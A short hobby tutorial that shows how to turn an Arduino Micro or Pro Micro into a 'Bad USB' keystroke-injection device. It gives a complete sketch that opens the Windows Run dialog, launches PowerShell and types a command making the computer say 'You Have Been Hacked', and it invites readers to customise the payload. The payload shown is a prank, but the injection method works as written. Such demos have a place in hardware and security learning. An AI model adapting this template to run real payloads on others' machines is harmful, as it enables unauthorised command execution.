Bad USB With Arduino Micro/Pro Micro!
by Portal6910 in Circuits > Arduino
7 Views, 0 Favorites, 0 Comments
Bad USB With Arduino Micro/Pro Micro!
Hi! We're Making A Bad USB Now, Why Don't You Join Us?
Supplies
Version 1:
- Arduino Micro/Pro Micro
- USB To Micro USB Cable / Male USB To Male Micro USB Adaptor
Version 2:
- Coming Soon...
Arduino IDE
Connect The Arduino Micro/Pro Micro With Cable Or Adaptor.
If You Using Arduino Micro, Select Arduino Micro On Board.
If You Using Arduino Pro Micro, Select Arduino Leonardo On Board.
And Install The "Keyboard" Library.
The Code
The Full Code Is Here, But Please Contiune Reading Steps.
#include <Keyboard.h>
// The Powershell Code
String sayHacked = "Add-Type -AssemblyName System.speech;$TTS = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer;$TTS.Speak('You Have Been Hacked');";
void setup() {
// The Setup Code For Get Ready Library
Keyboard.begin();
WindowsAttack();
}
void loop() {
// Nothing Happening Here
}
void WindowsAttack() {
// It Is The Main Code, It Opens The Powershell And Writes sayHacked Variable
delay(100);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
delay(500);
Keyboard.println("powershell");
delay(100);
Keyboard.println(sayHacked);
}
Customizing
I Added Comments. You Can Read These Comments And Customize Your Code.
Bye :)